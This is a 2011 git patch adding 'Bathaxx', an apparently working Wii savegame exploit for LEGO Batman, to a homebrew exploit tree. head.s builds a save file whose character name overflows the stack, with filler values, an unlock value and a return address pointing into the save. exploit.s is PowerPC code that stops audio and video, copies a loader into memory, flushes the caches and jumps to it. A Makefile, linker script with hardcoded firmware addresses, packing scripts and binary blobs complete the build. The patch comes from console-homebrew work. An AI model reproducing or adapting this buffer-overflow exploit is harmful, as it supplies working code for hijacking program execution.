From da886e2a723e5990d209d8fc141dc9bab7bf0424 Mon Sep 17 00:00:00 2001 From: Bernhard Urban Date: Sun, 2 Jan 2011 06:46:51 +0100 Subject: [PATCH] LEGO Batman^H^H^Hhaxx --- Makefile | 2 + batman/.gitignore | 1 + batman/Makefile | 116 +++++++++++++++++++++++++++++++++++++++ batman/exploit.s | 45 +++++++++++++++ batman/head.b | Bin 0 -> 31804 bytes batman/head.s | 31 +++++++++++ batman/lego.lds | 22 ++++++++ batman/make-title-bin.pl | 16 ++++++ batman/pack.sh | 3 + batman/rlb-banner.png | Bin 0 -> 17610 bytes batman/rlb-banner.ppm | Bin 0 -> 36878 bytes batman/rlbe-icon.png | Bin 0 -> 2221 bytes batman/rlbe-icon.ppm | Bin 0 -> 6925 bytes batman/rlbj-icon.png | Bin 0 -> 2143 bytes batman/rlbj-icon.ppm | Bin 0 -> 6925 bytes batman/rlbp-icon.png | Bin 0 -> 2157 bytes batman/rlbp-icon.ppm | Bin 0 -> 6925 bytes batman/titleid.pl | 2 + batman/toc-rlbe | 4 ++ batman/toc-rlbj | 4 ++ batman/toc-rlbp | 4 ++ 21 files changed, 250 insertions(+) create mode 100644 batman/.gitignore create mode 100644 batman/Makefile create mode 100644 batman/exploit.s create mode 100644 batman/head.b create mode 100644 batman/head.s create mode 100644 batman/lego.lds create mode 100755 batman/make-title-bin.pl create mode 100755 batman/pack.sh create mode 100644 batman/rlb-banner.png create mode 100644 batman/rlb-banner.ppm create mode 100644 batman/rlbe-icon.png create mode 100644 batman/rlbe-icon.ppm create mode 100644 batman/rlbj-icon.png create mode 100644 batman/rlbj-icon.ppm create mode 100644 batman/rlbp-icon.png create mode 100644 batman/rlbp-icon.ppm create mode 100755 batman/titleid.pl create mode 100644 batman/toc-rlbe create mode 100644 batman/toc-rlbj create mode 100644 batman/toc-rlbp diff --git a/Makefile b/Makefile index a5a5120..d9920c0 100644 --- a/Makefile +++ b/Makefile @@ -52,6 +52,7 @@ all: FORCE .version $(Q)$(MAKE) -C loader $(Q)$(MAKE) -C twilight $(Q)$(MAKE) -C lego + $(Q)$(MAKE) -C batman FORCE: @@ -60,3 +61,4 @@ clean: $(MAKE) -C loader clean $(MAKE) -C twilight clean $(MAKE) -C lego clean + $(MAKE) -C batman clean diff --git a/batman/.gitignore b/batman/.gitignore new file mode 100644 index 0000000..bcb0659 --- /dev/null +++ b/batman/.gitignore @@ -0,0 +1 @@ +FILE_V28 diff --git a/batman/Makefile b/batman/Makefile new file mode 100644 index 0000000..af58778 --- /dev/null +++ b/batman/Makefile @@ -0,0 +1,116 @@ +# Copyright 2008-2009 Segher Boessenkool +# This code is licensed to you under the terms of the GNU GPL, version 2; +# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt + + +# Configuration: + +# What toolchain prefix should we use +CROSS ?= broadway- + +# Where are the tools (http://git.infradead.org/users/segher/wii.git) +TOOLS ?= $(HOME)/wii/segher + +# End of configuration. + + + +# Set CC, LD, OBJCOPY based on CROSS, unless they are set already + +ifeq ($(origin CC), default) + CC := $(CROSS)gcc -m32 +endif +ifeq ($(origin LD), default) + LD := $(CROSS)ld +endif +OBJCOPY ?= $(CROSS)objcopy + + +# The compiler flags we need. + +CFLAGS := -Wall -W -Os -ffreestanding -mno-eabi -mno-sdata -mcpu=750 + + +# Build with "V=1" to see the commands executed; be quiet otherwise. + +ifeq ($(V),1) + Q := +else + Q := @ + MAKEFLAGS += --no-print-directory +endif + + +targets := rlbp.bin rlbj.bin rlbe.bin + +ppms := $(targets:%.bin=%-icon.ppm) rlb-banner.ppm +assets := title.bin $(ppms) + +loader := ../loader/loader.bin + + +titleid = $(shell perl titleid.pl $(1)) + + +define twintig + D=$(call titleid,$(1)); \ + $(TOOLS)/twintig $$D $@ toc-$1 +endef + + +all: $(targets) + +$(targets): %.bin: toc-% FILE_V28 $(assets) + @echo " TWINTIG $@" + $(Q)$(call twintig,$*) + +FILE_V28: head.bin exploit.bin $(loader) + @echo " LEGOSTACK $@" + $(Q)./pack.sh $@ $^ + $(Q)$(TOOLS)/lego-cksum $@ + +head.bin: head.elf + @echo " OBJCOPY $@" + $(Q)$(OBJCOPY) -Obinary $< $@ + +exploit.bin: exploit.elf + @echo " OBJCOPY $@" + $(Q)$(OBJCOPY) -Obinary $< $@ + +exploit.elf: lego.lds exploit.o + @echo " LINK $@" + $(Q)$(LD) -T $^ -o $@ + +head.elf: head.o + @echo " LINK $@" + $(Q)$(LD) -e 0 $< -o $@ + +exploit.o: exploit.s + @echo " ASSEMBLE $@" + $(Q)$(CC) $(CFLAGS) -c $< -o $@ + +head.o: head.s head.b + @echo " ASSEMBLE $@" + $(Q)$(CC) $(CFLAGS) -c $< -o $@ + +title.bin: ../.version + @echo " TITLEBIN $@" + $(Q)perl make-title-bin.pl > $@ + +../.version: FORCE + $(Q)$(MAKE) -C .. .version + +$(ppms): %.ppm: %.png + @echo " PPM $@" + $(Q)convert $< $@ + +$(loader): FORCE + $(Q)$(MAKE) -C ../loader + +FORCE: + +clean: + -rm -f $(targets) FILE_V28 + -rm -f exploit.bin exploit.elf exploit.o + -rm -f head.bin head.elf head.o + -rm -f title.bin diff --git a/batman/exploit.s b/batman/exploit.s new file mode 100644 index 0000000..ced2134 --- /dev/null +++ b/batman/exploit.s @@ -0,0 +1,45 @@ +# Copyright 2008-2009 Segher Boessenkool +# Copyright 2011 Bernhard Urban +# This code is licensed to you under the terms of the GNU GPL, version 2; +# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt + + .section .start,"ax" + retadr = 0x90394140 + + # The return addr for the nintendo loader is a bit different as for 3rd + # party loaders. In fact, it depends which value is set by the apploader at + # 0x8000002c: + # - 0x0: return address is 0x90394140 (some 3rd party loader, e.g. gecko os) + # - 0x23: return address is 0x90394000 (set by the sysmenu loader by nintendo) + # 0B ver: 0x90394100 + # to make both work, we insert some no op's here + .fill (0x140/0x4), 4, 0x60000000 + +start: + # Set up a stack frame. + lis 1,0x8080 ; li 0,0 ; stwu 0,-64(1) + + # Stop audio and video. + lis 0,audio_stop@h ; ori 0,0,audio_stop@l ; mtctr 0 ; bctrl + lis 0,video_stop@h ; ori 0,0,video_stop@l ; mtctr 0 ; bctrl + + # Move code into place; a generous 32kB, starting at 64kB in + # the save file. + + lis 3,main@h ; ori 3,3,main@l ; addi 5,3,-4 + lis 4,(retadr-4)@h ; ori 4,4,(retadr-4)@l + # Calculate proper offset for the loader in memory +0: lbzu 0,4(4); cmpwi 0,0x60 ; beq 0b + addi 4,4,-4; addi 4,4,end-start + + li 0,0x2000 ; mtctr 0 +0: lwzu 0,4(4) ; stwu 0,4(5) ; bdnz 0b + + # Sync caches on it. + li 0,0x0400 ; mtctr 0 ; mr 5,3 +0: dcbst 0,5 ; sync ; icbi 0,5 ; addi 5,5,0x20 ; bdnz 0b + sync ; isync + + # Go for it! + mtctr 3 ; bctr +end: diff --git a/batman/head.b b/batman/head.b new file mode 100644 index 0000000000000000000000000000000000000000..7ed47c7781e39b11bfc7827e73d7d633ba13ee2e GIT binary patch literal 31804 zcmeHQOLN>r5T1>bI580ON&*1_XHK>g^QfYV(rV?6qLsCgy}00_+6pEq%wm_5+^9-U z{0@%%5N`Yd4pimFAK=2xboWeaXLr4pG_s2X^;GT7=rNzhUq7a&N69LsT56)S{({3# z;ByT=SKxCIK9`kR`~zyZw{;!r->AL--*D#A#U;XMEx{Ej!hkR!3eB_~@ZC?t;de#N5kB?yjH)(~M8+Cy$%;vnqDeb&2d8q{8-2HCTME2SzX2>A(-N zxR747ca}*UM&X0uqZ}*F{P3$ngxMRKE~8mS>YrhGhxd2m-5(8>aP;$6eHS-gVr{1Re=`1LbBpEru)^El2Xm)s|3>G1yU zc)oY##GX4yrzjrTNCunRu8_+3c^xZqY-{wu71SQ5E5>v`O0Z3zl;c_qaQr#eQ@uK1 ze^nJ6<4@gpO~DjWwfnL6lV4)JG;6MY*bnO9+d6;jLmf_vemao$A9U#?y`Gn{o{~?d zK#Xl5&f0KC`GLU}z?l@bK^_;|s_Vl@=OMr3gQsU~S1j)LGR1W~<`=zYIkVjBj@S54 zh!jZIC-Y2>^ZeM)8(kvwdLuRCoXA<#LsS&g*2R$i!T>XX>!Pf?O6#J`hqW~wbM0a7 ze|4?Gx(??K!iW=HN1?7a2#F8!&uTtm4w_i&`LeBLvlGtd+DyK_?7T|3U-Z2Y zd2A({UK&SgYp8RIgyG;%o1Xh6JMy(1okH4%<_@%H)OW&eo7(rBO#ovsjb-e;6Voxe z3_9O4_TLXnKSS)jG*zW4Z?&uZ>qeZ+Br`>b6=mvCPOVg}kjGJ87?u>uQ%<|EwefeDEAhj^a|_7(Iq*7f;M zxkqtLF)d=kz5!w4MncWfbh*P`UN->_*`9a~8D*5Zs?09hyC0wae6$sKJ3-JgevuDxI z&*)r$Mrfss`sLV_H`K9jCCJk+gcG0VoDJP zPKyD{ekS*N9N#G>J2Lx3U{9xq$ykniP}6)heT_i*L-2A`!;DTfcuD0jlZ zbsX+6q<*<(59KAb-l+AZEP~X+oCx zP87>quUyTsZ^m08uf)KppG_{z=P3Jr?+}O>Wsjd6lHDKf?|)aF8RXNuH}KMMp!}qt z)p@UupN@0!olrxue(uyn&V7ix%i!VVwY;;JQ*mmI*iSaM(?s1f@=lXv1HpH^ZJ4F1 z7t~J{Iq4G5A*A!XLt71(<~S2~;{H41S3{Y+yXo;K$C;xD-;e>n6w#Xv7=IGI?6)Ra zn}0<4rM(P5Ol$)vfOR*~DdqVcPq;!pWH0km*mvXco^X4qOCoo(CX6z#2YG+s6)e-e z7#U5jGmWi6u4N|(yP#XyM*2U6b5-oW^$mX046rrpvuF`EsK$APfit!hkR!3rVfc=vaZtNhbz^A#`i~{0nxj(>^*n z`bT{U-%!+t@Zqv-wdvf`@in!e?^kLWFC9Jq^QiUo`EzXl^!u+0e*OEIQa9ByUIp#x X{{8V6WUe>qdl~*?=&LG#zHt3tYw2(5 literal 0 HcmV?d00001 diff --git a/batman/head.s b/batman/head.s new file mode 100644 index 0000000..aa5081a --- /dev/null +++ b/batman/head.s @@ -0,0 +1,31 @@ +# Copyright 2011 Bernhard Urban +# This code is licensed to you under the terms of the GNU GPL, version 2; +# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt + + retadr = 0x90394140 +0: + # stolen from some savegame found in teh intertube + .incbin "head.b" + + # give the char a name + .ascii "you won't see this " # len = 0x14 + + # smash it \o/ 0x1f0+0x4 bytes all in all... + .fill (0xf4/4), 4, 0x11111111 + + # unlock the character (somewhere here actually...) + .fill (0x10/4), 4, 0x90c10104 + + # add more padding... + .fill (0xdc/4), 4, 0x11111111 + + # now we at the actual vuln return address + # just point to the loader of the loader (= content of exploit.s) + .long retadr + + # alternatively you can put the code here too and jump into the stack, + # however then you have to take care for nullbytes in the resulting + # bytecode, which is a way too tedious. so we just take the further slot for + # it :-) (LEGO devs are nice ppl, heh) + + .fill 0x10000 - (. - 0b) diff --git a/batman/lego.lds b/batman/lego.lds new file mode 100644 index 0000000..30d4a0a --- /dev/null +++ b/batman/lego.lds @@ -0,0 +1,22 @@ +/* Copyright 2008-2009 Segher Boessenkool + This code is licensed to you under the terms of the GNU GPL, version 2; + see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */ + +OUTPUT_FORMAT("elf32-powerpc") +OUTPUT_ARCH(powerpc:common) + +SECTIONS { + audio_stop = 0x8009cfa0; + video_stop = 0x800ab190; + + main = 0x90000020; + + .twilight 0x90394000: + { + rlb*.o(.start) + *(.text) + *(.rodata .rodata.*) + *(.data) + *(.bss) + } +} diff --git a/batman/make-title-bin.pl b/batman/make-title-bin.pl new file mode 100755 index 0000000..639905d --- /dev/null +++ b/batman/make-title-bin.pl @@ -0,0 +1,16 @@ +#!/usr/bin/perl +sub printline { + my $x = shift; + chomp $x; + $x .= "\0" x 32; + $x = substr $x, 0, 32; + $x =~ s/(.)/\0$1/g; + + print $x; +} + +$name = '"Bathaxx" by lewurm'; +$version = `cat ../.version`; + +printline $name; +printline $version; diff --git a/batman/pack.sh b/batman/pack.sh new file mode 100755 index 0000000..57a388b --- /dev/null +++ b/batman/pack.sh @@ -0,0 +1,3 @@ +#!/bin/bash +TARGET=$1; shift +cat $* /dev/zero | dd bs=1024 count=128 2>/dev/null > $TARGET diff --git a/batman/rlb-banner.png b/batman/rlb-banner.png new file mode 100644 index 0000000000000000000000000000000000000000..ae1ed0ce677bb3bd034025fb6217f31defb6316e GIT binary patch literal 17610 zcmV(=K-s^EP)J#<5FdchJLk|k$d-BG{$5Ze$CwhjcTp)GtKk0 zH19zUx&{AJ^N$+q|KBfVwVKVtkHc^GqJf-0J->hb{`Kp=oFD!8nmI8ctJ<)Tp&un6 zRZ650{a@KuE?SK0b)zIn@%KR}^jx=8@zp`A!0NAiWtD=G9|W~(eRz1dULWv%|MxTT zzpHfn4=-Kpxf9$cxuUxqb zxBLCX{BI+H%2lum0#FhI33d|MnNfbAJx`kq*wF+gN8^)H+0l+xmYpUVINLI{GmOF% zxUqEe5Ru{oS;A=bd-naKjCs{NyLEy6P(Y z`S!QJ{oiH6(CpP$U%hD2BHXlEtsZm~eLL^G^U$T=A%H4c(BpvlDjkuuP_E|yI*=Tm z@8Bm0bWn0!R~v|^L_3f}#sNxLn<>Dn7a!0lM9Z!n`)cRC*di)zL+Ai80FwwLK@TIz zq-lo#z{KM?i6i>2+im>pwrhWK{r8qHS^ct?oN?jnUNq<7}i5a{QnDW z{#viU`@6sU^FRM{K=b-pER{0lN=Xf$Z73qr=;qjY?K4E^$sFDYX833O^DPTWOznv$o+xiH)AAm#haY}eJ}LghZ#jwyz~}gl6Mz-G5gGGbZQ`|e?_N2CH&uQ~ zn>Y-jywEk6G7j~DpEdx0h{KL|soopu_I;zKm@{Hhl1qY*rUJQs!$e?o3O^2j4ltkUyu ze)F67ee12a;!o)w9zk?85CdU`M-a>vO9j8>d2;{}V4$`L1bBhm*!Cw`Z!Qt zKulsmayay|9c4RH`&$`Kg+@}g3&i1aOU-#^3?U{AvoL(2DUAzkCG#g59Wqw#0m`y$ z)22;te)F5Z``zz;;uD`(zkdC13?K|2CIGXAQ2=!C1|ulIdd+KIBj*SRpeb<9m%j8R z;T+Eeph8f|_zD_|Wrm@|RYa|sok2{b(alcEuz1l_=m z(0{x^uh2<|E&+tBndcH?cyJMrG6>Rbyg>`-?feI{*)?Z5t_A7BoR{F^`;as?z=97o z3mCi{@M+EeY`fWNV~!nAY*Kb~#(`eE!uzLwvzg9_D47F!RR#c^bIv)R`qZc96ZT*0 zh2g`9U~sY8L{Q6O6;)M`V$m}4<^?qcaDV{?&P2%LwRP)OpzyFKV{ro7g`V@@i4!hi)%yDpnd#C`;aB_Mq~-DDm2$&SH*nJCyS&QnS%y|AVT19 zG`o2TG!7AHHosgl=3N(mX?_t@z^ri~jxEi`Ib;y)Jo`W`W<*Vqg!*@-Y`b^w{>Vo@ za_+h3ZQQu=w`}Si?|6qSEX;}+O263)^9?j$dhiBd!pt330*Ua)Q6S*Zo*YDRAYlHE zUk6=|S%(-CaV4VhS7H4Scxbce7{F9?_}_s(i1x1W5^d*1)+(rOGJ zrn!*wGFy26idVeiHyc5;AoNA-YDkoV${bew$f1LJa;Q{8vrrbI918#ydqR4hsw66NUIWs3!+Wn&-L;@FY4*j3b;`sK5C<2`}_P)Ld~+L4%~J0_FHE zeFIziO#no)#|S`(&Hz9`04+uio-`pV37U(1$#(9KhTyT1l=PK^N|o?%1{Vx8&$E>M zD*0a((Sj;P3A2~SE53|DsUdh|~(d*>Ivctxkv`Bk14@*m>}z6{NU<%mBq zaF9Ka=f92f?Nojh7&@$Kz%4NSxHWDE=p59O`Dfx!oP$FE!9gAbQEk!!I5Nb^L0(M} zhkydap*$J{m0)hZz{C5ZWi)abzwqWzIKJ>ay!oB$hz4mL_3SLwrLqhA%Q6nTe4I+v zgK$YxHot5#;I(#lJpAnKw>=!CNhgYIOO4cP)9vQ?Y%4aVRH;PWZX88cKZ<4@z=c&2 z<5z6`X~*FJo5ERnT$iIBpv+kcCY>6S9-!oMMW;O9d(kOJZ#Z^Qv(cHDm>nKk`nI=z z;DQTY_xsqw@A$>S#EY-r(JYHES4#LfnRE{Eb4R-#__-eh)p~tkXt-1~g&} zI5MPdFYa}wCinH4tvHUezA%D%?WYKl-;pI4KnP8z!fsS9`%tiKMS}G^&+gvzvA?=> z&FbUMKmQNUJmc)eix>ZXg8!ET2(wS23$PuRCdYLtw#pMv6P>0a2y(7MdQ91!W@sCM zfdY0YBr5SzW1zh7BlsXsV44!Tlp&$RC?tmfI|(3(9Ho~Yx$@`@>l~;2;C;96+_p9B zby?16)^9dp(vS;?g$gij8x}}t+_H2WqZ58m!sjq1X#x1YuGZXLdpCdPAO8BvD?fY8 zh7(_L)+1M5|Nklg0WswDwX7hZL=I9?JQuMZCnjI3R|e(lOT|_XzlH0Tjmx$^QVd2PB%r3@uhe zz#)5Hl7U!95PEEK5vkZvRtK{h*#G1sn0lu^V1#3Z%mXV_*%ECaH^W~oEo$RzIPY?wHVqA+YsPd~BgmjGFoCP7eMx@5(M zW7k8EKC$W1$%%G1>?LW!!-@vAq(+ji5|<`=mSu66R4NVwi|*z7bW?GOhrKLGEYBB@ zx}ByvC;?B@3u8qr&@y1F*Nc)kArWVpVj^YMX-v}tXTqAB0M4Ky)MfIx8GSCl)x4Bz zMG{^?w1Xbd1ZS2P(C;v$3CmJT*kjhmM*$IB1?yAkehL+VhK5(O#S@2wzoKJ~OHe=y zNn+-^-)uX79GaEXDnd&*8FmhFM@>;IJbc(QMLM7W$z(ao=irhZ21CSuk_7YVrm63E z21XbK=dm=EIENJDilP}rWHK_rT+fDCM&6)^XfdP66shoeNR{+f#-!U(66o*)8nGlv zK$7C9*Ub}%V0z?)G{_op=DarG(`Q@pLuMFbkus zRCb~`2}7b(=#xV!Cm7?jT=wwrA%v4ps7O-FN%1U6Z(*x)00`JMbjoyiq?lq zM@1~*4dw0WT!t~ujLnN#3m)-@}xo*FdjVnR(gmKnwNP>{$~f{pJr~HfQ))U30P539lWrF4^fh9k=x36 zu!s_8xslEQ;?p_mWr}sgVmC`7?O+J;kS^iKkQ4*3!G{J02G4uV8((?$X=l9jl$q(q z?e{-)*M0YIe*Cdsx99mKw?b)0kQ7n7L(Do!*$Bk-Za;HdB`GUfY#u*T^BPA|ln zjvqh)LI@e#HyG9=ws`Le2mNhQr0BaQ&xFxBxA$DXKkHULLy`b4Yt&YAK*=SLF$JCq zr65yMC>my#SR}ctLnHw{k0W|x_q9oJzD%~vlzd2F#;93&Pw;ZR9BKq6GIt0!5Nzl$ z9#b00VPWRbT!6b;hX^1cWcR(fB1EH55+5Ku2p0Ass!&=ZcxlG22wkkWjO0QLg#fzZ zxCYAwolnIsbI2Jj=^l^*_{j5Yoa4Ksci3>p?IVl) zsoSPI=N`{Q4cRnLbT6JWZRG&U#3~eOV$^&JE^|hc+GmHdA%STk%{TSZu^@hU{;Zfo zizb`5W69y^nTJRmObNRbPoi*uv4XPle6*&(1Pl{Cw4j--;ubhZ()H|I<6G?G$X5k^ zm#YdQP*4upCaAJAe$qsV1j0>KoOdkC@-C6$?#HN1HivJB1&3w_%N2Un#Ex6?FmP!LWN@5%U-mx>5JW)iw zfrV!%<(ou0gp)vlhzKhMnZE)bf+|5$u4Q=L6Isl~FR>GC%~4SqVw~LTLTZvCBO&Lh z1xxH++u~~shq0A#YKte^Bz-kuSp~t;WN`}jqBRNT@BlY~B7@Kp;zS-2n;|cHt-q##2YKW|6e$+Tq%j$V(D|fkpvb@| zD^=jom&g`4jOY!BJF!{v2Ts77_`x7s!AN78jTF;j45X7?syc(ClQWauZVM8CnS~** zkBvD@yHTq-JH6}KXKuUYr)V0mMT0}53!!q_t)_-`KQcPFV%_j)b-_?=$$}BTQkk8Y zdh&@Uo_^?oUaLX77$IEZp6*U+XK7^AmTA86`( zN@ieYNZbOV4ljD$X9J3r0w5)zDPAIn`j$&B9yq!@N0{;rPsFZh3WXj?u2pdqZ^n0J zAqfuKsjC6^neX--xOI)zab+2EG|9YSOh6G5?ERZOZ!$gnzXl1lw7ynNQB zO=4MYt~7yT+)g@1KZYI(vm8aa^A@a}lx#MqvUB;$k1yJ@K(N!#){4Wh8^>j1N&=cV zBVEQ(1!d*_XvJ#6VyimQL~Ef7GAM&6iAbQ8szYl}Hr*B!+`#Bq-7h(5*6DR-8nY1r zE!Ns4W|XA!GQv!!)d(jhblJDPQmHz)Z1tM6UcBy%mmI%g*^07XYIoWjpV|5M|MZ1N zZ@Z=2n9X|R6pDK-qbDK2!(JE!dUzB7((w#ohvFhmX7$Jy6~!5MA3e>0aGq?ei5Sc( zW0i(aN@c~Q#E3X4M2_2^p2D;#D2~iG5e0tF_%r0ywC9$ofD*q+$h#!2Fr*mzR?EDKtf>F2-ZbAR)(MMJ~gP6vVw0NVKEQ$PCQ zbsHaj_?f4loSvK#0Ksgk*9UQFk~Po@#Bo~gM&Z=dN@!mkByA1`^?{5 z_OZXY%i*o^>nXCCRV3IEFsGz@CKnyW7%$|Qw#++4B`wqS8`scgv!GQ{)GDL%nq0zg1g zrKZXiH9MWPn(VnP;c`__Y0-udF!&KXfiQUO z(oj;DKi3nq+-#&`b_FG?Hb6IqNho)eF4YE97U!1$Nl=$~K!F-Mle-M&Q8x$IV5Z1c zP63TD%Oa%$hxjK&Kna)}I5#YiK%y%y?dXElY>6L)fe0wP_@$>;7aw`ckH2Fj;pb-E1Zf5P;o^E?8S$c$Cf4nQVd+6R6DC~U*nNCQ~92kMjWb*VQ-~D0J2|&#+{gMJC0o{QPwtia<|JqA>JoRc50#$ zCAuJkAhdPQwjo!GK<&Y=u|;}tIDvQ&7cCGvFk~OGn%3B1F@cfY@lz#Mqq+Ah=X$FVY z@|7A=Q{eve<^*>kuXiGAO!b4Q4q2_R8^v0CO73sKZg36xR|q1293ziI6z# z3%7oDyPlfJMEUOAmI81t0Z|{d&bjyYNIr+UT(wq<_-W2&6Zvb+DrzRa4O7MdUs1yn0|`r7roW$sE+BNC)t!}s7q$OLfs%jmhpeM%3 zo@Xk_J7TGWaca7m>G~yuXXM_hg9AqW*O5m#kN*;Vr)jGXs`V#0m8v?_h2OtQLE~(C zB;LL?J?>;PGG-Un)BI=={%p6*)+Z>8Gu1ViRB4mR!<-{PPKFr3QM{+MYA}oFl7{5K zG(A^0aQ@N9IyYS#qQkfxn(Nq;941B}_N__ZOR2<3k=tna2o$0J3=~d}6VS|V%A8F?2Sr%ku;0Sr zjA-^i_eBtsbNP$d6lH`0kU!G0eW*HetC7RS;XsiBg`yZxY-e5-Md@R$wyHl)t zVj*l#f&5Bq5GM(*SBQu4y~J(F+|!mE1;4@3V(VN=eKu$WhpKg26(W8B0_ZP%NG|nx z-4He{_W~%7SgpxGwh64ecV^N(Xt%W+9LNkb2&@BP_z?X8AVke&tSh0L&^Qi3XF)Hc z5s07F+@^GOVmxg&j2MsNkvf0_v5X`za8%hICWSu~N7pDQVo`Jz#(&tGOOQ6?jevk7(P>;XWQZlRs?ly9 znp6Tfc6h0bwxT({>{0_><2K35AW#rOlamxZjS~!tNm59_R;%5KqPSKk{s>O+=mRm< zCD?`p8X*TULuZ`p^JG|=p8{p=9o=wq7p8;{|S)N=4!Sle~(c)!#-EoevsGZy5{d)=S zB0{h{pj#nCPkA|+0_%>0;Bj!tF($tVS z!GZd~d`R@bG6$zF>H6*-LRFW=@FqTDl6W@0=}Q!;wbdwqaIXcl7s$&InN99d!I5RnTD1G{iK z3-!TK%n0O@uqDu5d}1>5>@(?8k0(Wx4I=@51^`KGI1SGNE{kTtw{~nxSF9qYu;B#v zv~zrjqJ>Me_${B_OnV|I@08OeFjc;9VNsoat}kNgC1-dLV7O3P-uPgM2GJBJ!sPHJ z|GvYid}L-(`d98+#jGhW$*fKkH(jT0bJSF}^+>XZ3S4PKSqIgXVri4eN+L*bCPr7pHHgT;KL**4;O_RxrKHNYq_G)XsXhhZ~`d*lo<2Izr^rZjL@;y6V(6Jm)*7Wy8N90Ls! z4IDt8@%c2P;=nCp*N}hpL7CS);z3qS0QyC$4OihO3e^BPvvS{w%Kg`d0i=Yp3#4FC zj6)Pd$k${Rt0oAPFC|=(nZYJfq9A6p}zn_ z3HcHeN7>^^|e#L-&1g@?lEWzr$5LB4~J<(!#PdjyZB+-u}&gBrDQA!vlCi~@NQ0D)+cW^p@+js5#F zG4wL_8bFy+Cyf!J4JBK20~5gxNkE5<10M1EfGtNciIRFDK5kIy&6|?5&ZlrS*uBu% zPCI-2moe4`Sx(Me;1)9q&3@mV(K#2=`9s5VGy3GlaObvUE^$D@BNPDZTVc&vB0!RI zKnc<0XUw#dYP*w}Mw$(3UDZ0^;3+M0iVIkoZ#$f!V-C0B3(8Vgs)Mk}d+72(l{qLE zUzG#Tuaqe91q#$y-7snI-)Y;=YI-aM>x~l^Nvu#sG)~kIQcr3Vp9V15hfI4Kz4bgh zhT&#XV6xRnTpwHyDDE1oIWsfUYIR%9q}$0rFb9Xw`O)Fg=F49h6Nl~FH5j{NPjc68 zsA^S9P4mf(O__!PKA+RO+LX$o$s@-}N?_R;O(z}AD%Bp_suq+xFa#liDaRq(3q7Bj zDwQP1jl>2dzhAPX*$pR*zxjRTPRrPOZZ1!Jk%yy3C8f&V1G@phG{n>gw<}a$&~MH4 zIuvd$QBQmuSRt?AS?A-S1`DsnzCC*(nE>mclv@(aUPy3&Na4_yC*q^m&+SCOXxwvK z6Wk8VgQERTKOe}>wZG&<`*EC>E0iKb-C~}vb*9}2LMV(HaSYNzS}YDJA<%LuiAD=q zJ|wYIFhsgkyN#)-=g9svASRL_<8ZP?Oi7y5p){Uf&VwA}6!gfFQpsDfXfRByJrive zEOdv~K#IXS^OZN~}6Ehv0w4>>l3#_+kXPS1Vy zoR5Y{Rz8Q##yI%3XlBR&#~vXSHnfW^Y6*|fA!tLWFtkSd{c3wD535fqfd(KIhj4}G z@9t}^xuiY{UGarO_2Kg`d`{0%wYE<#gbw2Kv!Rh47^22(CgKxw4@rZbNNcXUL*gMS z%RR*#AB=ZC(>rSQa6i?syXoN=6cCq)iATKHQ4*SkG=O1$(~rVqj+v7`yPw^6-yP&e zDvb6tnZtSxprN4}Ez?F6l#^VbIkK}4tGS(;Mi{l@xIQ#wcd#xfTJJFVaIAwl&|Eqt zlokY8*>k)!tp|RsO` zilQj58p=G%Apng&zrT3zE;7hDPgL>T;CyxROG|HfEA_3P6qe!WF(8Wlw6Ggp@qR&PW#7H)%5`Lb4-pEz2n7tZ1@LjE{=-Ux1 z)?fP3ZTTL4BWaj+;H=@+vcfx37-+?fBr~KSKzR}t^q_jdYHKMo9+oA_m-A0~$;y*X z*~i_mxev6fspK3jM|Gdm#Id-P*idq<;$B*nS<=km4{9Ci8%T00N~9yXa_phv5&;c) zc|28!oP&bOPARC?YGfNhdw70GS&L*@KuywPDAS3PnQm_+Nd|*b2|Oc7G^xO%*x_NH zK24%H```!Ob>c!p3Jm|Ap&+ddI5OOGl?0Guw7z$!u7=_K)B9 zrZ>Fht;)lSiI22G$poZ)Cmme-m4Cf+&(pI}NM-THPKJG+k=1U(t_AzK+p%D@ce^0! zy^L7!y23Bl*{F!tOG|=y|mblTQS&-51!z8-6|=Dqw6Ub1(~;~|&Z!ujRG2+Td6h2JaZfQHSY zgSP*R%*aK^T#BmXWc8&&H+l4$Z*77V26->ROMvF0x0Q#2ivb|bsmHVc`V#1cHu%lO zLnv)GHZMENUp#z4aV_4QdG4aCzqYM0W9Em4ZT1S{2gcxA-@Ak#Ie*o>SDt;rHDCNx zD;GtYvh<5Qq{0)8#p9I9B!xRYD-0W+A1Mo#knubdl))Q2+M4cm8(}y&G*k&(Z5+#? ze2(mSo(J6Z@g2KKtZ6^Sc+T~?>Y`~h{ZzwniwodzX!cg^kajV^& znVsnLro12orEWHjgb{>E@Xme$1We1@ej0xLiyhbofz;RSY{67PsRO^{mV;$0Sd>iWs4I^T^YlN6=9zyD2I z-vxbvy|&>5_vJ6a(S$t3%tw_9=1=PLDBptQ;=w_o-g{Zau@9)PIN+ai!9`#H>VI#G z@F=or@q2d0yyH?}_w{{o$Wl$0-}J8f5C7jTFxO9lo=Yy13?wRn2m;|~r&0li?QRdE ztl4KsWn)(Cbp+hgNXx0ezTZJ#?y~%oa}aDyJG6c zD;?OJ(TkP91=OIPvoP$mI}_dBegNGIV0W2TGn0)`knQYB0Ana=Rf$ZtXJ^`+rI-;2 zIJq`6eeZ2Lig#WcAv! zZV-Yjw3}JEn#4)VElq20HVlWW6*w6xqbF016YVEhOuI2h#4?=EH0M)Bl0d2QYFcd+oK
